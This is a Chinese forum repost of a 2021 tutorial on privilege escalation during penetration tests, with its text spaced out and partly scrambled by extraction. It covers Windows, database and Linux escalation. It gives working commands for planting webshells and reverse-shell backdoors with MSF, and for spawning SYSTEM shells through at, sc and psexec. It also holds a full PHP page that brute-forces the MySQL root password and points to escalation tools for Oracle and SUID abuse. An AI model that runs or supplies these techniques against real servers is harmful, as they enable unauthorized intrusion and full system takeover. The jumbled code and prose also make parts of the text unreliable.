搜索

[18380] 2021-07-10_实战遇见到的好用提权方法集合

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-07-10_实战遇见到的好用提权方法集合 实 战 遇 见 到 的 好 用 提 权 方 法 集 合 H o n e y p o t   H A C K 之 道   2 0 2 1 - 0 7 - 1 0 写 在 前 面 写 在 前 面 权 限 提 升 对 我 们 在 深 度 渗 透 过 程 中 起 着 重 要 作 用 ， 接 下 来 我 将 介 绍 w e b 提 权 、 本 地 提 权 、 数 据 库 提 权 、 l i n u x 提 权 。 权 限 的 划 分 权 限 的 划 分 1 、 、 s y s t e m 账 户 账 户 W i n d o w s 系 统 最 高 级 别 的 权 限 是 S y s t e m 用 户 权 限 ， 有 一 些 操 作 需 要 S y s t e m 权 限 才 能 完 成 ， 比 如 修 改 注 册 表 核 心 键 值 、 强 制 结 束 恶 意 应 用 程 序 进 程 等 。 2 、 管 理 员 账 户 、 管 理 员 账 户 具 有 最 高 的 管 理 和 使 用 权 限 ， 能 改 变 系 统 所 有 设 置 ， 可 以 安 装 和 删 除 程 序 ， 能 访 问 计 算 机 上 所 有 的 文 件 。 除 此 之 外 ， 它 还 拥 有 控 制 其 他 用 户 的 权 限 。 3 、 普 通 用 户 账 户 、 普 通 用 户 账 户 某 些 功 能 的 使 用 ， 是 受 到 一 定 限 制 的 账 户 ， 在 系 统 中 可 以 创 建 多 个 此 类 账 户 ， 也 可 以 改 变 其 账 户 类 型 。 该 账 户 可 以 访 问 已 经 安 装 在 计 算 机 上 的 程 序 ， 可 以 设 置 自 己 账 户 的 图 片 、 密 码 等 ， 但 无 权 更 改 大 多 数 计 算 机 的 设 置 。 W e b 提 权 提 权 获 取 网 站 权 限 后 ， 我 们 仅 仅 只 能 对 网 站 操 作 ， 无 法 对 服 务 器 进 行 操 作 ， 需 要 对 服 务 器 进 行 提 权 ， 获 取 到 更 高 权 限 。 案 例 演 示 案 例 演 示 1 . 上 传 后 门 文 件 ， 获 取 到 w e b s h e l l 权 限 2 . 在 w e b 权 限 提 升 中 ， 最 常 用 的 是 溢 出 漏 洞 提 权 ， 用 c m d 去 执 行 文 件 进 行 提 权 ， 从 下 图 可 以 清 晰 的 看 到 我 们 在 w e b s h e l l 看 到 的 权 限 和 服 务 器 上 看 到 的 权 限 是 不 一 样 的 。
3 . 利 用 s y s t e m i n f o 进 行 信 息 收 集 ， 一 般 关 注 操 作 系 统 版 本 ， 打 过 的 补 丁 编 号 。 4 . 获 取 到 补 丁 编 号 后 ， 我 们 要 进 行 补 丁 筛 选 ， 推 荐 两 个 优 秀 项 目 ： w e s n g   ,   w i n d o w s V u l n S c a n 。 将 上 面 收 集 到 的 信 息 保 存 到 1 . t x t 中 ， 利 用 w e s n g 进 行 补 丁 筛 选 下 载 地 址 分 别 为 ： h t t p s : / / g i t h u b . c o m / b i t s a d m i n / w e s n g h t t p s : / / g i t h u b . c o m / c h r o b l e r t / W i n d o w s V u l n S c a n
5 . 执 行 完 后 会 将 可 能 存 在 的 漏 洞 保 存 在 v u l n . c s v 中 6 . 利 用 M S F 或 特 定 E X P 进 行 提 权 （ m s f 要 搭 建 在 外 网 ， 才 能 将 会 话 反 弹 到 本 机 ， 内 网 不 能 反 弹 ） 生 成 一 个 5 5 7 7 . e x e 后 门 ， w e b s h e l l 执 行 该 后 门 ， 反 弹 的 端 口 号 为 5 5 7 7 M s f 安 装 教 程 : h t t p : / / w w w . t t k 7 . c n / p o s t - 2 7 . h t m l 7 . 设 置 监 听 端 口 为 5 5 7 7 8 . 端 口 反 弹 的 权 限 为 w e b 权 限 9 . 利 用 w e s n g 中 收 集 到 的 漏 洞 编 号 ， 进 行 模 块 利 用 ， 并 且 设 置 反 弹 端 口 ， 此 时 的 端 口 号 应 该 与 前 面 的 不 同 ， 这 个 端 口 反 弹 的 权 限 为 提 权 后 的 权 限 ， 并 且 监 听 的 回 话 为 3 ， 与 上 面 的 会 话 对 应
1 0 . 成 功 反 弹 s y s t e m 权 限 本 地 提 权 本 地 提 权 获 取 本 地 普 通 用 户 的 权 限 后 ， 要 将 权 限 提 升 为 更 高 权 限 ， 本 地 提 权 的 成 功 概 率 比 w e b 提 权 更 高 。 案 例 演 示 案 例 演 示 1 . 系 统 溢 出 漏 洞 提 权 系 统 溢 出 漏 洞 提 权 直 接 网 上 下 载 B i t s A r b i t r a r y F i l e M o v e E x p l o i t . e x e , 运 行 就 可 以 提 升 为 系 统 权 限
2 . A T 命 令 提 权 命 令 提 权 : a t   1 3 : 3 6   / i n t e r a c t i v e   c m d . e x e   ( 在 1 3 ： 3 6 分 生 成 一 个 交 互 式 的 S y s t e m 权 限 的 c m d ) 使 用 版 本 ： W i n 2 0 0 0   &   W i n 2 0 0 3   &   X P 3 . S C 命 令 提 权 ： 命 令 提 权 ：
s c   C r e a t e   s y s c m d   b i n P a t h =   “ c m d   / K   s t a r t ”   t y p e =   o w n   t y p e =   i n t e r a c t   # 创 建 一 个 名 叫 s y s c m d 的 新 的 交 互 式 的 c m d 服 务 s c   s t a r t   s y s c m d   # 得 到 了 s y s t e m 权 限 的 c m d 环 境 适 用 版 本 ： w i n d o w s   7 、 8 、 0 3 、 0 8 4 . P S 命 令 提 权 命 令 提 权 微 软 工 具 包 ： h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / s y s i n t e r n a l s / d o w n l o a d s / p s t o o l s p s e x e c . e x e   - a c c e p t e u l a   - s   - i   - d   c m d . e x e 适 用 版 本 ： W i n 2 0 0 3   &   W i n 2 0 0 8 数 据 库 提 权 数 据 库 提 权 M y s q l 数 据 库 提 权 数 据 库 提 权 利 用 U D F 提 权 在 利 用 U D F 提 权 时 前 提 是 我 们 需 要 知 道 数 据 库 的 密 码 ， 而 在 正 常 情 况 下 M y S Q L 数 据 库 不 支 持 外 连 ， 此 时 如 果 我 们 用 工 具 爆 破 不 了 ， 可 以 上 传 脚 本 进 行 爆 破 ， 脚 本 如 下 ： 1 .   2 .   3 .   4 .   < h t m l > < h e a d >     < t i t l e > M y s q l 账 号 密 码 爆 破 工 具 < / t i t l e >     < m e t a h t t p - e q u i v = " C o n t e n t - T y p e " c o n t e n t = " t e x t / h t m l ;   c h a r s e t = u t f - 8 " >
5 .   6 .   7 .   8 .   9 .   1 0 .   1 1 .   1 2 .   1 3 .   1 4 .   1 5 .   1 6 .   1 7 .   1 8 .   1 9 .   2 0 .   2 1 .   2 2 .   2 3 .   2 4 .   2 5 .   < / h e a d > < b o d y >     < c e n t e r >       < b r > < b r >       < h 1 > M y s q l D a t a b   a s e B l a s t i n g ( M y s q l 账 号 密 码 在 线 爆 破 工 具   V 1 . 0 ) < / h 1 >     < b r > < ? p h p i f ( @ $ _ P O S T [ ' s u b m i t ' ] ) {       $ h o s t   = @ $ _ P O S T [ ' h o s t ' ] ;       i f ( $ h o s t ! = " " ) {         $ u s e r n a m e   = " r o o t " ; / / 用 户 名 字 典         $ p a s s w o r d   =   a r r a y ( ' ' , ' 1 2 3 4 5 6 ' , ' a d m i n ' , ' r o o t 1 2 3 ' , ' c c f 3 0 4 v n ' ) ; / / 密 码 字 典         e c h o   " < h r > < b r > - - - - - - - - - - - - - - - - - - - - 爆 破 状 态 - - - - - - - - - - - - - - - - - - - - < b r > " ;         e c h o   " 密 码 错 误 次 数 ： " ;         f o r ( $ i = 0 ;   $ i   < =   c o u n t ( $ p a s s w o r d ) ;   $ i + + ) {           i f ( @ m y s q l _ c o n n e c t ( $ h o s t ,   $ u s e r n a m e ,   $ p a s s w o r d [ $ i ] ) ) {               e c h o   " < b r > < b r > < f o n t   c o l o r = ' r e d ' > 爆 破 成 功 - - 密 码 - - > " . @ $ p a s s w o r d [ $ i ] . " < / f o n t > " ;               b r e a k ;           } e l s e {               e c h o   $ i . " 、 " ;               c o n t i n u e ;
2 6 .   2 7 .   2 8 .   2 9 .   3 0 .   3 1 .   3 2 .   3 3 .   3 4 .   3 5 .   3 6 .   3 7 .   3 8 .   3 9 .   4 0 .   4 1 .   有 些 提 权 网 上 已 经 写 得 很 完 整 ， 所 以 接 下 来 有 的 提 权 过 程 就 没 有 演 示 ， 这 是 我 收 集 的 比 较 好 的 文 章 ， 请 大 家 参 考 。 h t t p s : / / b l o g . c s d n . n e t / q q _ 3 6 1 1 9 1 9 2 / a r t i c l e / d e t a i l s / 8 4 8 6 3 2 6 8 2 . M s s q l 数 据 库 提 权 数 据 库 提 权 请 参 考 ： h t t p s : / / w w w . c n b l o g s . c o m / N 0 r 4 h / p / 1 2 8 8 9 9 4 4 . h t m l 3 . O r a c l e 数 据 库 提 权 数 据 库 提 权 分 为 以 下 三 种 模 式 ： 普 通 用 户 模 式           }         }         e c h o   " < b r > - - - - - - - - - - - - - - - - - - - - 爆 破 结 束 - - - - - - - - - - - - - - - - - - - - < b r > < h r > " ;       } e l s e {         e c h o   " < s   c r i p t > a   l e r t ( ' 黑 客 ， 输 入 数 据 库 I P 地 址 ' ) < / s   c r i p t > " ;       } } ? > < b r > < b r > < b r > < b r >     < f o r m a c t i o n = " M y s q l D a t a b   a s e B l a s t i n g . p h p " m e t h o d = " p o s t " >       数 据 库 I P 地 址 : < i n p u t t y p e = " t e x t " n a m e = " h o s t " / >       < i n p u t t y p e = " s u b m i t " v a l u e = " 爆 破 " n a m e = " s u b m i t " / >     < / f o r m > < c e n t e r > < / b o d y > < / h t m l >
前 提 是 拥 有 一 个 普 通 的 O r a c l e 连 接 账 号 ， 不 需 要 D B A ， 并 以 O r a c l e 实 例 运 行 的 权 限 执 行 操 作 系 统 命 令 。 D B A 用 户 模 式 拥 有 D B A 账 号 密 码 ， 可 以 省 去 自 己 手 动 创 建 存 储 过 程 的 繁 琐 步 骤 ， 一 键 执 行 测 试 。 注 入 提 升 模 式 拥 有 一 个 O r a c l e 注 入 点 ， 可 以 通 过 注 入 点 执 行 系 统 命 令 ， 此 种 模 式 没 有 实 现 回 显 ， 需 要 自 己 验 证 。 一 般 O r a c l e 数 据 库 利 用 这 个 工 具 进 行 提 权 （ 自 带 以 上 三 种 提 权 方 式 ） 下 载 地 址 : h t t p s : / / g i t h u b . c o m / j a s 5 0 2 n / o r a c l e S h e l l L i n u x 操 作 系 统 提 权 操 作 系 统 提 权 推 荐 两 个 开 源 的 项 目 信 息 收 集 脚 本 L i n E n u m - m a s t e r ： h t t p s : / / g i t h u b . c o m / r e b o o t u s e r / L i n E n u m 漏 洞 探 针 脚 本 ， 获 取 可 能 存 在 的 漏 洞 l i n u x - e x p l o i t - s u g g e s t e r ： h t t p s : / / g i t h u b . c o m / m z e t - / l i n u x - e x p l o i t - s u g g e s t e r 在 进 行 l i n u x 提 权 时 ， 推 荐 使 用 冰 蝎 ， 因 为 冰 蝎 里 面 有 很 多 集 成 化 功 能 ， 可 以 反 弹 s h e l l 到 m s f 中 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / r e b e y o n d / B e h i n d e r 案 例 演 示 案 例 演 示 1 . S U I D 提 权 提 权
漏 洞 成 因 ： 在 对 文 件 进 行 权 限 设 置 时 ， 给 了 文 件 s u i d 权 限 ， 在 执 行 该 文 件 时 ， 会 调 用 特 定 用 户 上 传 一 个 脚 本 到 网 站 ， 利 用 冰 蝎 连 接 ， 设 置 反 弹 s h e l l 在 m s f 中 执 行 上 面 的 命 令 ， w e b 权 限 反 弹 到 m s f 中 上 传 漏 洞 探 针 脚 本 ， 并 执 行 ， 查 看 是 否 有 s u i d 提 权 的 可 能 性
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理